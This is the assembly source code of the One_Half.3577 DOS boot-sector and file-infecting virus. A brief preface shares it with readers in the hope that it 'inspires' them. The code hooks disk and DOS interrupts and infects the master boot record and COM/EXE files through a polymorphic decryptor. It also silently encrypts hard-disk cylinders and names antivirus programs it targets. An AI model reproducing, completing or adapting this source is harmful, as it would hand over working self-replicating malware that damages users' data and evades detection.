onehalf.3577

onehalf.asm

;Dear friends,
;some time has already passed since the great days of One Half epidemy.
;Nevertheless we still hope that a code of this popular virus inspires
;you also now. A lot of stuff has been written on the subject, so I tink,
;not many words are necessary about this little creature any more.
;And, so, here is the original source of One_Half.3577:

        DOSSEG
	.MODEL SMALL
	.STACK 100h

Vkod	SEGMENT 'kod'
	ASSUME	CS:Vkod,DS:Vkod

stvir	LABEL	near
POCKIL=4                                ;virus length in kB
	DB	05ah
owner	DW	?
	DW	POCKIL*1024/16-1
	DB	00h,00h,00h,'COMMAND',00h	;MCB header
DLZVIR=(OFFSET endvir-OFFSET stvir)     ;virus length
POCSEC=((DLZVIR-1)/512+1)               ;number of sectors needed
POCINS=10                               ;number of instructions
DLZINS=10                               ;instruction length
DLZBUFF=512                             ;buffer length
DLZZAS=81h                              ;stack length
VRCHOL=(OFFSET endvir+DLZBUFF+DLZZAS)   ;top
POCTRACK=2                              ;track number
DLZFNB=64                               ;file name max. length

strc	STRUC
 id	DW	?
 lpage	DW	?
 pages	DW	?
 items	DW	?
 parps	DW	?
 min	DW	?
 max	DW	?
 vSS	DW	?
 vSP	DW	?
 flag	DB	?
	DB	?	;check	DW	?
 vIP	DW	?
 vCS	DW	?
 iaddr	DW	?
strc	ENDS

bheader	strc	<>
poss 	DW	POCINS DUP(?)
posss	DW	?		;positions of instructions
orprg	DB	POCINS*DLZINS DUP(?)

v16	DW	16
v30	DW	30
v512	DW	512

;************ MBOOT ************
sboot:	xor	bx,bx
	cli
	mov	sp,7c00h
	mov	ss,bx
	sti
	mov	ds,bx
	sub	word ptr ds:0413h,POCKIL
	mov	cl,6
	int	12h
	shl	ax,cl
	mov	dx,0080h
	mov	es,ax
sector:	mov	cx,0009h
	mov	ax,(0200h+POCSEC)
        push	es
	int	13h
bootid:	mov	ax,OFFSET staboot
	push	ax
	retf
eboot	LABEL	near
;******************************
staboot:mov	ds:(4*21h+2),cs
	mov	ax,ds:046ch
	push	ds
	push	cs
	pop	ds
	mov	rnd1,ax			;RNG init
	mov	ax,cs
	inc	ax
	mov	owner,ax		;MCB owner setting
	mov	byte ptr ds:(OFFSET con3+1),00h	;condition for memory
        call	Koppr			;copying of needed routines

	pop	es
	mov	bx,sp
	push	es
	mov	si,es:(bx+OFFSET eboot-OFFSET sboot)
zactr:	cmp	si,500		;everything encoded ?
	jbe	uznk
	push	si
	sub	si,POCTRACK
	mov	word ptr ds:(OFFSET cdft+2),si	;last track
	pop	si
	mov	ah,08h
	int	13h
	jc	uznk
	mov	al,cl
	and	al,3fh		;al = number of sectors
	mov	kolzak,al	;number of sectors to encode
	mov	cl,01h
	mov	bh,7eh
	mov	odkzak,bx	;start to encode from
	mov	dl,80h
nttrc:	dec	si
	call	Fromsi
	push	dx
nthd:	mov	ah,02h
	push	ax
	int	13h
	pop	ax
	jc	perwd
	call	Skramb
	inc	ah
	push	ax
	int	13h
	pop	ax
perwd:	jc	erwd
	test	dh,3fh
	jz	tcid
	dec	dh
	jmp	nthd
tcid:	pop	dx
cdft:	cmp	si,100h		;last track
	ja	nttrc
jfcor:	mov	bh,7ch
	mov	es:(bx+OFFSET eboot-OFFSET sboot),si
	mov	ax,0301h
	mov	cx,0001h
	mov	dh,ch
	int	13h
uznk:	mov	word ptr ds:(OFFSET cnflte+2),si	;for condition in res13
aktcd:	sub	si,613
	ja	estne
	cmp	si,-(3*POCTRACK-1)
	jb	estne		;write it out 3x
	call	Prejav

estne:	mov	ax,0201h
	mov	bx,7c00h
	mov	cx,word ptr ds:(OFFSET sector+1)
	dec	cx
	mov	dx,0080h
	int	13h             ;read original boot
	cli
	les	ax,es:(4*13h)
	mov	word ptr oriv13,ax
	mov	word ptr oriv13+2,es
	pop	es
	push	es
	les	ax,es:(4*1ch)
	mov	word ptr oriv1c,ax
	mov	word ptr oriv1c+2,es
	pop	es
	push	es
	mov	word ptr es:(4*13h),OFFSET res13
	mov	es:(4*13h+2),cs
	mov	word ptr es:(4*1ch),OFFSET res1c
	mov	es:(4*1ch+2),cs		;hook 13h and timer 1ch
	sti
	push	bx
	retf

erwd:	xor	ah,ah	;decode last track if error
	push	ax
	int	13h
	pop	ax
enthd:	inc	dh
	mov	ah,dh
	pop	dx
	push	dx
	cmp	ah,dh
	ja	ercor
	mov	dh,ah
	mov	ah,02h
	push	ax
	int	13h
	pop	ax
	call	Skramb
	inc	ah
	push	ax
	int	13h
	pop	ax
	jmp	enthd
ercor:	pop	dx
	inc	si
	jmp	jfcor

res1c:	push	ax
	push	ds
	push	es
	xor	ax,ax
	mov	ds,ax
	les	ax,ds:(4*21h)
	mov	word ptr cs:oriv21,ax
	mov	ax,es
	cmp	ax,0800h
	ja	chnp
	mov	word ptr cs:(oriv21+2),ax
	les	ax,cs:oriv1c
	mov	ds:(4*1ch),ax
	mov	ds:(4*1ch+2),es		;unhook 1ch
	mov	ds:(4*21h),OFFSET res21
	mov	ds:(4*21h+2),cs		;hook 21h
chnp:	pop	es
	pop	ds
	pop	ax
	DB	0eah			;jump to original 1ch
oriv1c	DD	?

Koppr	PROC	near
        mov	si,OFFSET zZakoduj
	mov	di,OFFSET Zakoduj
	mov	cx,OFFSET kzZak-OFFSET zZakoduj
	cld
	rep	movsb		;copy needed routines
	ret
Koppr	ENDP

Fromsi	PROC	near
	push	ax
	mov	ax,si
	mov	ch,al
	push	cx
	mov	cl,4
	shl	ah,cl
	pop	cx
	mov	al,3fh
	and	dh,al
	and	cl,al
	not	al
	push	ax
	and	ah,al
	or	dh,ah
	pop	ax
	shl	ah,1
	shl	ah,1
	and	ah,al
	or	cl,ah
	pop	ax
	ret
Fromsi	ENDP

mess1	DB	'Dis is one half.',0dh,0ah,'Press any key to continue ...',0dh,0ah
ems1	LABEL	byte

Prejav	PROC	near
	test	order,11b	;only generations that are multiple of 4
	jnz	somewhere_in_town
	mov	cx,OFFSET ems1-OFFSET mess1
	mov	si,OFFSET mess1
	mov	ah,0fh
	int	10h
	mov	bl,07h
	mov	ah,0eh
freddey_lives:
	lodsb
	int	10h
	loop	freddey_lives
	xor	ah,ah
	int	16h
somewhere_in_town:
	ret
Prejav	ENDP

;**************** file part **************
Pmip	PROC	near
	push	bx
	DB	0bbh
handle1	DW	?		;mov	bx,handle1
	int	21h
	pop	bx
	ret
Pmip	ENDP

tInt13	PROC	near
	pushf
	cli
	DB	09ah
toriv13	DD	?
	ret
tInt13	ENDP

res01:	push	bp
	mov	bp,sp
con2:	jmp	short r1cn
r1cn:	cmp	word ptr [bp+04h],1234h
	ja	nsyet
	push	ax
	push	bx
	push	ds
	lds	ax,[bp+02h]
	DB	0bbh
rlit	DW	?
	mov	word ptr cs:[bx+OFFSET toriv13],ax
	mov	word ptr cs:[bx+OFFSET toriv13+2],ds
	mov	byte ptr cs:[bx+OFFSET con2+1],OFFSET syet-OFFSET r1cn ;set condition
	pop	ds
	pop	bx
	pop	ax
syet:	and	byte ptr [bp+07h],0feh
nsyet:	pop	bp
	iret
;**************** instalation to memory ******************
instm:	pop	bx
        pop	ax
        push	ax	;ax = PSP
	dec	ax
	mov	ds,ax
	cmp	byte ptr ds:[00h],'Z'
	jne	inchb
        add	ax,ds:[03h]
        sub	ax,(POCKIL*1024)/16-1	;ax = virus segment
        mov	dx,cs
        mov	si,bx
	dec	si
	mov	cl,4
        shr	si,cl
	inc	si			;si = paragraph count till beginning
	add	dx,si
        add	dx,cs:[bx+OFFSET bheader.min]	;min memory request
	cmp	ax,dx
	jb	inchb			;not enough room in memory
	mov	dx,ss
	mov	si,sp
	add	si,3
	shr	si,cl
	inc	si
	add	dx,si
	cmp	ax,dx
	jb	inchb

	mov	byte ptr ds:[00h],'M'
	sub	word ptr ds:[03h],(POCKIL*1024)/16
	mov	ds:[12h],ax
	mov	es,ax
	push	cs
	pop	ds
	inc	ax
	mov	word ptr [bx+OFFSET owner],ax
	mov	byte ptr [bx+OFFSET vsetky],0ebh	;infect everywhere
	mov	si,bx
	xor	di,di
	mov	cx,DLZVIR
	rep	movsb
        push	es
	pop	ds
        call	Koppr		;copy needed routines
	xor	ax,ax
	mov	ds,ax
	cli
	mov	ax,ds:(4*21h)
	mov	word ptr es:oriv21,ax
	mov	ax,ds:(4*21h+2)
	mov	word ptr es:(oriv21+2),ax
	mov	word ptr ds:(4*21h),OFFSET res21
	mov	ds:(4*21h+2),es
	sti
inchb:	jmp	aalldn

start	LABEL	near
stsub:	call	next
next:	pop	si
	sub	si,OFFSET next
	mov	[si+OFFSET rlit],si		;relocation in trace

	push	es
	push	si
	cld

	inc	word ptr [si+OFFSET order]	;generation
	mov	byte ptr [si+OFFSET vsetky],74h	;dis is jz ...
	xor	ax,ax
	mov	es,ax
	mov	ax,es:046ch
	mov	[si+OFFSET rnd1],ax		;init RNG
	mov	[si+OFFSET zls1+3],ax		;key for HD encoding

	mov	ax,4b53h
	int	21h
	cmp	ax,454bh
	je	palldn

	mov	ah,52h
	int	21h
	mov	ax,es:[bx-02h]
	mov	word ptr ds:[si+OFFSET r1cn+3],ax	;limit
	mov	byte ptr ds:[si+OFFSET con2+1],00h	;set condition
	mov	ax,3501h
	int	21h
	push	bx
	push	es
	mov	ax,3513h
	int	21h
	mov	word ptr [si+OFFSET toriv13],bx
	mov	word ptr [si+OFFSET toriv13+2],es
	mov	ax,2501h
	lea	dx,[si+OFFSET res01]
	int	21h
	lea	bx,[si+OFFSET endvir]
	mov	cx,0001h
	mov	dx,0080h
	push	cs
	pop	es
	pushf
	pop	ax
	or	ah,01h
	push	ax
	popf
	mov	ax,0201h
	call	tInt13
	pushf
	pop	ax
	and	ah,0feh
	push	ax
	popf
	pop	ds
	pop	dx
	pushf
        mov	ax,2501h
	int	21h
	popf
	jc	pinstm
	push	cs
	pop	ds
	cmp	word ptr [bx+(OFFSET bootid-OFFSET sboot)+1],OFFSET staboot
	jne	ov444
palldn:	jmp	alldn
ov444:	cmp	word ptr [bx+180h],072eh
	je	pinstm			;MASTER mboot protection
	mov	ah,08h
	mov	dl,80h
	call	tInt13
	jc	pinstm
	and	cx,00111111b	;CL = max. sector number
	mov	byte ptr ds:(si+OFFSET znxtsc+2),cl	;for res13
	mov	[si+OFFSET mxskt],cl
	and	dh,3fh
	mov	[si+OFFSET mxhlv],dh	;max. head number for encoding
	mov	ax,0301h
	sub	cl,POCSEC
        mov     byte ptr ds:(si+OFFSET zr13ds+2),cl	;for condition in int13
	mov	dx,0080h
	call	tInt13		;save original mboot
	jc	pinstm

	push	cx
	push	dx
	push	si
	xchg	di,si
	mov	cx,4
	add	bx,1eeh
hlvp:	mov	al,[bx+04h]
	cmp	al,01h
	je	ptrif
	cmp	al,04h
	jb	chdnn
	cmp	al,06h
	jbe	ptrif
chdnn:	sub	bx,10h
	loop	hlvp
	pop	si
	pop	dx
	pop	cx
pinstm:	jmp	instm
ptrif:	mov	cx,[bx+02h]
	mov	dh,[bx+01h]
	call	zTosi
	add	si,POCTRACK+5
	mov	[di+OFFSET zactr+2],si	;cylinder nearer to the beginning
	xchg	ax,si
	mov	cx,[bx+06h]
	mov	dh,[bx+01h]
	call	zTosi
	mov	[di+OFFSET kontr+2],si
	mov	[di+OFFSET stpdb+1],si	;cylinder nearer to the end
	add	ax,si
	shr	ax,1
	mov	[di+OFFSET aktcd+2],ax	;cylinder to activate
	pop	si
	pop	dx
	pop	cx

	mov	ax,(0300h+POCSEC)
	xchg	bx,si
	inc	cx
	mov	word ptr ds:[bx+OFFSET sector+1],cx
	call	tInt13
	jc	pinstm
	lea	si,[bx+OFFSET sboot]
	lea	di,[bx+OFFSET endvir]
	push	di
	mov	cx,OFFSET eboot-OFFSET sboot
	rep	movsb
stpdb:	mov	ax,1234h
	stosw
	mov	ax,0301h
	pop	bx
	mov	cx,0001h
	call	tInt13
	jc	pinstm

alldn:	pop	bx
aalldn:	push	cs
	pop	ds
	push	cs
	pop	es

	lea	si,[bx+OFFSET orprg]
	add	bx,OFFSET poss
	mov	cx,POCINS
ssno:	mov	di,[bx]
	push	cx
	mov	cx,DLZINS
	rep	movsb
	pop	cx
	inc	bx
	inc	bx
	loop	ssno			;restore code
	pop	es

	add	bx,((OFFSET bheader-OFFSET poss)-POCINS*2)
	mov	di,es
	add	di,10h
	add	[bx].vCS,di
	add	[bx].vSS,di

	cmp	[bx].items,0
	je	ssr4
	mov	ds,es:[2ch]
	xor	si,si
lfn:	inc	si
	cmp	word ptr [si],0000h
	jne	lfn
	add	si,4
	xchg	dx,si
	mov	ax,3d00h
	int	21h
	jc	errlp
	push	cs
	pop	ds
	mov	[bx+(OFFSET handle1-OFFSET bheader)],ax
	mov	dx,[bx].iaddr
	mov	ax,4200h
	call	Pmip
	push	es
	xchg	ax,di
ssr3:	push	ax
	lea	dx,[bx+(OFFSET rbuff-OFFSET bheader)]
	mov	cx,[bx].items
	cmp	cx,((OFFSET endvir-OFFSET rbuff)+DLZBUFF)/4
	jb	ssr1
	mov	cx,((OFFSET endvir-OFFSET rbuff)+DLZBUFF)/4
ssr1:	sub	[bx].items,cx
	push	cx
	shl	cx,1
	shl	cx,1
	mov	ah,3fh
	call	Pmip
	jc	errlp
	pop	cx
	pop	ax
	xchg	si,dx
ssr2:	add	[si+2],ax
	les	di,[si]
	add	es:[di],ax
	add	si,4
	loop	ssr2
	cmp	[bx].items,0
	ja	ssr3		;relocation
	pop	es
	mov	ah,3eh
	call	Pmip
ssr4:	push	es
	pop	ds
	cmp	cs:[bx].flag,0	;is it COM ?
	jne	sEXE
	 mov	si,bx
	 mov	di,100h
	 mov	cx,3
	 rep	movsb
	 pop	ax
	 jmp 	short sCOM
sEXE:	pop	ax
	cli
	mov	sp,cs:[bx].vSP
	mov	ss,cs:[bx].vSS
	sti
sCOM:	jmp	dword ptr cs:[bx].vIP
errlp:	mov	ah,4ch		;if error on program loading
	int	21h

rbuff	LABEL	byte
Rnd	PROC	NEAR
	mov	word ptr cs:(OFFSET povsi+1),si
	push	ax
	push	bx
	push	cx
	push	dx
	DB	0b9h
rnd2	DW	0000h
	DB	0bbh
rnd1	DW	?		;<-
        MOV     DX,015Ah
        MOV     AX,4E35h
        XCHG    AX,SI
        XCHG    AX,DX
        TEST    AX,AX
        JZ      r1
        MUL     BX
r1:     JCXZ    r2
        XCHG    AX,CX
        MUL     SI
        ADD     AX,CX
r2:     XCHG    AX,SI
        MUL     BX
        ADD     DX,SI
        INC     AX
        ADC     DX,0000h
        MOV     cs:rnd1,AX
        MOV     cs:rnd2,DX
        MOV     ax,dx
	pop	cx
	xor	dx,dx
	jcxz	rdbz		;division by zero
	div	cx
rdbz:	pop	cx
	pop	bx
	pop	ax
	pop	si
	push	si
	cmp	byte ptr cs:[si],0cch
	cli
neksl:	je	neksl
	sti
povsi:	mov	si,1234h
        RET
Rnd	ENDP

;*************** mutation ****************
kod:	DB	1
kodpax:	push	ax
	DB	1
kodpcs:	push	cs
	DB	1
kodpds:	pop	ds
	DB	3
kodmsi:	mov	si,1100h
	DB	3
kodmbx:	mov	bx,1234h
	DB	2
kodxor	LABEL	near
k01:	xor	[si],bx
	DB	4
kodabx:	add	bx,4567h
	DB	1
kodisi:	inc	si
	DB	4
kodcsi:	cmp	si,1103h
	DB	2
	jne	k01

POCRI=9
randi:	nop
	stc
	clc
	sti
	DB	2eh	;cs:
	DB	3eh	;ds:
	cld
	std
	cmc

Rndi	PROC	near
	or	dx,dx
	jz	rintd
	push	si
	push	cx
	push	dx
	mov	cx,dx
rinxt:	mov	si,OFFSET randi
	mov	dx,POCRI
	call	Rnd
	add	si,dx
	movsb
	loop	rinxt
	pop	dx
	pop	cx
	pop	si
rintd:	ret
Rndi	ENDP

Mtog	PROC	near
	mov	ax,dx
	inc	dx		;for all ins. could be before instruction
	call	Rnd
	sub	ax,dx
	call	Rndi
	xchg	dx,ax	;random ins. before instruction

	rep	movsb	;instruction

	cmp	bx,OFFSET poss+2*9	;jump ?
	jne	mtnj
	mov	ax,poss[2*5]
	sub	ax,di
	add	ax,OFFSET ibuf
	sub	ax,[bx]	;ax=poss[2*5]-di+OFFSET ibuf-[bx]
	dec	di
	stosb		;jump to marked instruction

mtnj:	call	Rndi	;random ins. after instruction
	ret
Mtog	ENDP

kodd    DW	OFFSET kodmbx
	DW	OFFSET kodxor+1
	DW	OFFSET kodabx+1		;offset of instruction
kodi	DW	OFFSET kodmsi
	DW	OFFSET kodxor+1
	DW	OFFSET kodisi
	DW	OFFSET kodcsi+1

Kodins	PROC	near
kinxt:	lodsw
	xchg	di,ax
	mov	al,dl
	cmp	si,OFFSET kodi+2*2
	jnz	kint		;conversion when addressing
	and	al,101b
	cmp	al,001b
	jnz	kins
	mov	al,111b

kint:	cmp	si,OFFSET kodd+2*2
	jnz	kins		;3 bit shift
	mov	cl,3
	shl	al,cl
	or	[di],al
	or	al,0c7h
	jmp	short	kiad
kins:	or	[di],al
	or	al,0f8h
kiad:	and	[di],al

	cmp	si,OFFSET kodi
	jz	kiend
	cmp	si,OFFSET Kodins
	jz	kiend
	jmp	kinxt
kiend:	ret
Kodins	ENDP

MHeader	PROC	near
fics:	mov	si,OFFSET kodd
kom:	mov	dx,1000b
	call	Rnd
	cmp	dl,100b		;SP
	je	kom
	mov	bl,dl
	call	Kodins		;encoding of data registers
	mov	si,OFFSET kodi
kbxa:	mov	dx,3
	call	Rnd
	add	dl,110b
	cmp	dl,08h
	jne	kvf
	mov	dl,011b		;BX
kvf:	cmp	dl,bl
	je	kbxa
	call	Kodins		;encoding of address registers

	xor	cx,cx
	mov	di,OFFSET poss
pnxt1:	cmp	cx,9		;jump ?
	jne	pnl

pom:	mov	dx,200
	call	Rnd
	sub	dx,100
	add	dx,poss[2*5]	;return to 5. instruction
	cmp	dx,0
	jl	pom
	cmp	dx,DLZHDR
	jge	pom
	jmp	short pl

pnl:	DB	0bah
DLZHDR	DW	1000		;mov	dx,DLZHDR
	call	Rnd
pl:	jcxz	pfirst
	mov	si,OFFSET poss
	push	cx
pnxt:	lodsw
	sub	ax,dx
	cmp	ax,DLZINS
	jge	pOK
	cmp	ax,-DLZINS
	jle	pOK
	pop	cx
	jmp	pnxt1
pOK:	loop	pnxt
	pop	cx
pfirst:	xchg	ax,dx
	stosw
	inc	cx
	cmp	cx,POCINS
	jb	pnxt1
;*******************************
	mov	bx,OFFSET poss
	mov	si,OFFSET kod
mnxt:	mov	di,OFFSET ibuf
	lodsb
	mov	cl,al

	mov	dx,DLZINS-3+1	;'cos range is 0 - (DLZINS-1)
	sub	dx,cx

	mov	ax,[bx+2]	;if one just after another - no jump
	sub	ax,[bx]
	cmp	ax,DLZINS
	jne	mjin
	inc	dx
	inc	dx
	call	Mtog
	inc	bx
	inc	bx
	jmp	short mshort

mjin:	call	Rnd
	call	Mtog

	mov	dx,di
	sub	dx,OFFSET ibuf-3
	add	dx,[bx]
	mov	al,0e9h
	stosb
	inc	bx
	inc	bx
	mov	ax,[bx]
	sub	ax,dx

	cmp	ax,126
	jg	mnear
	cmp	ax,-129
	jl	mnear
	inc	ax
	mov	byte ptr [di-1],0ebh
	stosb			;put short if possible
	jmp	short mshort
mnear:	stosw

mshort:	push	bx
	push	cx
	DB	0b9h
vysr	DW	?		;mov	cx,vysr
	DB	0bah
nizr	DW	?		;mov	dx,nizr
	add	dx,[bx-2]
	adc	cx,0		;CX:DX = position for instruction
	push	cx
	push	dx
	call	PozZac
	mov	cx,DLZINS
	DB	0bah
vpior	DW	?		;mov	dx,vpior
	add	vpior,cx
	call	Citanie
	pop	dx
	pop	cx
	jc	mhpp
	call	PozZac
	xchg	cx,di
	mov	dx,OFFSET ibuf
	sub	cx,dx
	call	Zapis		;put generated instruction into file
mhpp:	pop	cx
	pop	bx
	jc	mhkon

	cmp	bx,OFFSET poss+2*POCINS
	jnb	mhkon
	jmp	mnxt
mhkon:	ret
MHeader	ENDP
;********************* end of m. ****************
;*************** copied routines **************
zZakoduj PROC 	near
	mov	cx,DLZVIR
	xor	dx,dx		;OFFSET stvir
	call	zzp1
	mov	ah,40h
	mov	bx,handle
	pushf
	DB	9ah
	DD	?		;call	ds:oriv21
	jc	zzk1
	cmp	ax,cx
zzk1:	pushf
	call	zzp1
	popf
	ret
zzp1:	push	cx
	mov	si,dx
zzkmax:	mov	ax,0000h
	mov	cx,DLZVIR
zzp2:	xor	[si],ax
zzkaax:	add	ax,0000h
	inc	si
	loop	zzp2
	pop	cx
	ret
zZakoduj ENDP

zres24:	mov	al,03h
	iret

zInt13	PROC	near
	pushf
	call	cs:oriv13
	ret
zInt13	ENDP
zTosi	PROC	near
	push	cx
	push	dx
	shr	cl,1
	shr	cl,1
	and	dh,11000000b
	or	dh,cl
	mov	cl,4
	shr	dh,cl
	mov	dl,ch
	xchg	si,dx
	pop	dx
	pop	cx
	ret
zTosi	ENDP
zSkramb	PROC	near
	push	ax
	push	bx
	push	cx
	DB	0b0h,?		;mov	al,?
	DB	0bbh,?,?	;mov	bx,?
znxtss:	mov	cx,256
zls1:	xor	word ptr es:[bx],1212h
	inc	bx
	inc	bx
	loop	zls1
	dec	al
	jnz	znxtss
	pop	cx
	pop	bx
	pop	ax
	ret
zSkramb	ENDP
zres13:	cmp	ah,02h
	je	zrtc
	cmp	ah,03h
	je	zrtc
	jmp	zjtoo
zrtc:	cmp	dx,0080h
	jne	zencode
	test	cx,0ffc0h
	jnz	zencode
	push	bx
	push	dx
	push	si
	push	di
	push	cx
	push	cx
	mov	si,ax
	and	si,00ffh
	mov	di,si
	mov	al,01h
	push	ax
	jz	zbzch		;if AL=0 do nothing
	jcxz	zgchi
	cmp	cl,01h
	je	zobbs
znxtsc:	cmp	cl,17		;if sector number > max. then error
	ja	zgchi
zr13ds:	cmp	cl,07h
	jb	zctoo
	cmp	ah,03h
	je	zgchi
	push	bx
	mov	cx,512
zflbf:	mov	byte ptr es:[bx],00h
	inc	bx
	loop	zflbf
	pop	bx
zrtcom:	add	bx,512
	pop	ax
	pop	cx
	inc	cx
	push	cx
	push	ax
	dec	si
	jnz	znxtsc
zbzch:	clc
zzav:	pop	ax
	pushf
	xchg	ax,di
	sub	ax,si
	popf
	mov	ah,ch
	pop	cx
	pop	cx
	pop	di
	pop	si
	pop	dx
	pop	bx
	retf	2
zobbs:	mov	cl,byte ptr cs:(OFFSET r13ds+2)
zctoo:	call	zInt13
	mov	ch,ah
	jc	zzav
	jmp	zrtcom
zgchi:	stc
	mov	ch,0bbh		;undefined error
	jmp	zzav

zencode:cmp	dl,80h		;encoding resp. decoding
	jne	zjtoo
	push	ax
	push	cx
	push	dx
	push	si
	push	ds
	push	cs
	pop	ds
	mov	byte ptr kolzak,0
	mov	odkzak,bx
	call	zTosi
	and	cl,3fh
	and	dh,3fh
zchdnd:	or	al,al
	jz	zhtvo
kontr:	cmp	si,1234h	;max. cyl.
	jae	zhtvo
	cmp	si,1234h	;min. cyl.
	jb	ztdal
	inc	kolzak
	jmp	short znxslp
ztdal:	add	odkzak,512
znxslp:	dec	al
	inc	cl
	DB	80h,0f9h
mxskt	DB	?		;cmp	cl,?
	jbe	zchdnd
	mov	cl,1
	inc	dh
	DB	80h,0feh
mxhlv	DB	?		;cmp	dh,?
	jbe	zchdnd
	xor	dh,dh
	inc	si
	jmp	zchdnd
zhtvo:	cmp	kolzak,0
	pop	ds
	pop	si
	pop	dx
	pop	cx
	pop	ax
	je	zjtoo
	cmp	ah,02h
	je	zeckn
	call	zSkramb
zeckn:	call	zInt13
	pushf
	call	zSkramb
	popf
	retf	2
zjtoo:	DB	0eah
;zoriv13	DD	?
kzZak	LABEL	near
;********************* EXE,COM modification ***********
Subor	PROC	near
Zapis:	mov	ah,40h
	jmp	short s1
Citanie:mov	ah,3fh
s1:	call	s2
	jc	s3
	cmp	ax,cx
s3:	ret
Zaciatok:xor	cx,cx
	mov	dx,cx
PozZac:	mov	ax,4200h
	jmp	short s2
Koniec:	xor	cx,cx
	mov	dx,cx
PozKon:	mov	ax,4202h
s2	LABEL	near
Mhandle:mov	bx,cs:handle
Int21:	pushf
	cli
	call	cs:oriv21
	ret
Subor	ENDP

Infikuj	PROC	near
	mov	bp,sp

	mov	ax,5700h
	call	Mhandle
	mov	bx,OFFSET ftime
	mov	[bx],cx
	mov	[bx+2],dx	;read time and date of last write
	call	Identify
	jc	mikon0

	mov	dx,30
	call	Rnd		;with prob. 1:30 file won't be marked
	or	dx,dx
	jz	neozn
	mov	[bx],ax		;mark

neozn:	mov	vpior,OFFSET orprg	;position in saving area
	mov	dx,0ffffh
	push	dx
	call	Rnd
	mov	word ptr ds:(OFFSET kodmbx+1),dx
	mov	word ptr ds:(OFFSET zkmax+1),dx
	pop	dx
	call	Rnd
	mov	word ptr ds:(OFFSET kodabx+2),dx
	mov	word ptr ds:(OFFSET zkaax+1),dx		;values for encoding

	call	Zaciatok
	mov	cx,1ah
	mov	dx,OFFSET header
	push	dx
	call	Citanie
	jc	mikon1
	xchg	si,dx
	mov	di,OFFSET bheader
	rep	movsb
	call	Koniec
	mov	si,ax
	mov	di,dx
	pop	bx
	cmp	[bx].id,'MZ'
	je	iEXE
	cmp	[bx].id,'ZM'
	je	iEXE
	 mov	bheader.flag,0		;0 means COM
	 cmp	ax,65535-(DLZVIR+(VRCHOL-OFFSET endvir))-1	;much too long dlhy ?
	 cmc
	 jc	mikon1
	 mov	ax,3		;do not overwrite leading jump
	 cwd
	 push	bx
	 jmp	short iCOM
iEXE:	mov	bheader.flag,1
	mov	ax,[bx].pages
	mul	v512
	sub	ax,si
	sbb	dx,di
mikon0:	jc	mikon1		;not whole
	mov	ax,[bx].parps
	mul	v16
	push	bx
	push	ax
	push	dx
iCOM:	sub	si,ax
	sbb	di,dx
MINM=1000
MAXM=3000
	or	di,di
	jnz	short igt64
	mov	dx,si
	sub	dx,MINM
mikon1:	jb	mikon2			;not enough space
	cmp	dx,(MAXM-MINM)
	jbe	iltm
igt64:	mov	dx,(MAXM-MINM)
iltm:	call	Rnd
	add	dx,MINM
	mov	word ptr ds:(OFFSET kodmsi+1),dx
	add	dx,VRCHOL-10h		;SS = CS+1
	cmp	bheader.flag,0
	je	iCOM5
	mov	header.vSP,dx		;set stack pointer
iCOM5:	add	dx,DLZVIR-((VRCHOL-OFFSET stvir)-10h)
	mov	word ptr ds:(OFFSET kodcsi+2),dx	;header limits
	add	dx,OFFSET stsub-DLZVIR
	mov	posss,dx			;set jump after decoding
	add	dx,(-DLZINS+1)-(OFFSET stsub-OFFSET stvir) ;DX=Rnd+MINM-DLZINS+1
	mov	DLZHDR,dx
	add	dx,DLZINS-2
	not	dx
	mov	cx,-1
	call	PozKon		;setting to the virus beginning in file
	mov	vysr,dx
	mov	nizr,ax
	cmp	bheader.flag,0
	jne	iEXE2
	xchg	ax,dx
	add	dx,100h
	jmp	short iCOM1	;if COM take from beginning
iEXE2:	pop	di
	pop	si
	sub	ax,si
	sbb	dx,di		;relatively in file
	div	v16
iCOM1:	add	word ptr ds:(OFFSET kodmsi+1),dx
	add	word ptr ds:(OFFSET kodcsi+2),dx;set header limits
	push	ax
	push	dx
	call	MHeader		;create header for decoding
	jnc	twnm
mikon2:	jmp	ikon
twnm:	pop	dx
	pop	ax
	mov	cx,POCINS
	mov	si,OFFSET poss
il1:	add	[si],dx
	inc	si
	inc	si
	loop	il1		;set positions in poss
	sub	nizr,dx
	sbb	vysr,0		;for correct positions on error
	pop	bx
	cmp	bheader.flag,0
	jne	iEXE3
	 mov	byte ptr [bx],0e9h
	 mov	ax,poss[0*2]
	 sub	ax,3+100h
	 mov	word ptr [bx+1],ax	;ins. jmp at the beginning
	 mov	bheader.items,0
	 mov	bheader.min,0
	 mov	bheader.vCS,-10h
	 mov	bheader.vIP,100h
	 jmp	short iegh2
iEXE3:	mov	[bx].vCS,ax
	inc	ax
	mov	[bx].vSS,ax
	mov	ax,poss[0*2]
	mov	[bx].vIP,ax
	add	[bx].vSP,dx	;set SP
	and	byte ptr [bx].vSP,0feh	;SP is even
	mov	[bx].items,0	;no relocations
	mov	ax,((VRCHOL-OFFSET endvir)-1)/16+1
	cmp	[bx].min,ax
	jae	iegh1
	mov	[bx].min,ax
iegh1:	cmp	[bx].max,ax
	jae	iegh2
	mov	[bx].max,ax	;set up min. and max. memory requirments
iegh2:	push	bx
	call	Koniec
	call	Zakoduj		;put v. to the file end
	jc	ifail
	call	Koniec
	div	v512
	inc	ax
	pop	bx
	cmp	bheader.flag,0
	je	iCOM4
iEXE1:	mov	[bx].pages,ax
	mov	[bx].lpage,dx
iCOM4:	push	bx
	call	Zaciatok
	mov	cx,1ah
	pop	dx
	call	Zapis
	jc	ifail

stbkon:	mov	ax,5701h
	mov	cx,ftime
	mov	dx,fdate
	call	Mhandle		;restore time and date

ikon:	mov	sp,bp
	ret

ifail:	mov	dx,OFFSET orprg
	mov	si,OFFSET poss
opdl:	push	dx
	lodsw
	xchg	dx,ax
	mov	cx,vysr
	add	dx,nizr
	adc	cx,0
	call	PozZac
	pop	dx
	mov	cx,DLZINS
	call	Zapis
	add	dx,cx
	cmp	si,OFFSET posss
	jb	opdl		;restore overwritten parts
	and	ftime,0ffe0h	;not marked
	jmp	stbkon
Infikuj ENDP
;************** routines for TSR part ****
Nastav24 PROC	near
	push	dx
	push	ds
	push	cs
	pop	ds
	mov	ax,3524h
	call	Int21
	mov	seg24,es
	mov	off24,bx
	mov	ax,2524h
	mov	dx,OFFSET res24
	call	Int21
	pop	ds
	pop	dx
	ret
Nastav24 ENDP
Vrat24	PROC	near
	mov	ax,2524h
	lds	dx,dword ptr cs:off24
	call	Int21
	ret
Vrat24	ENDP

POCKRP=6	;number of critical programs
retaz	DB	4,'.COM',4,'.EXE'
retaz1	DB	4,'SCAN',5,'CLEAN',8,'FINDVIRU',5,'GUARD',3,'EMM'
retaz2	DB	6,'CHKDSK'

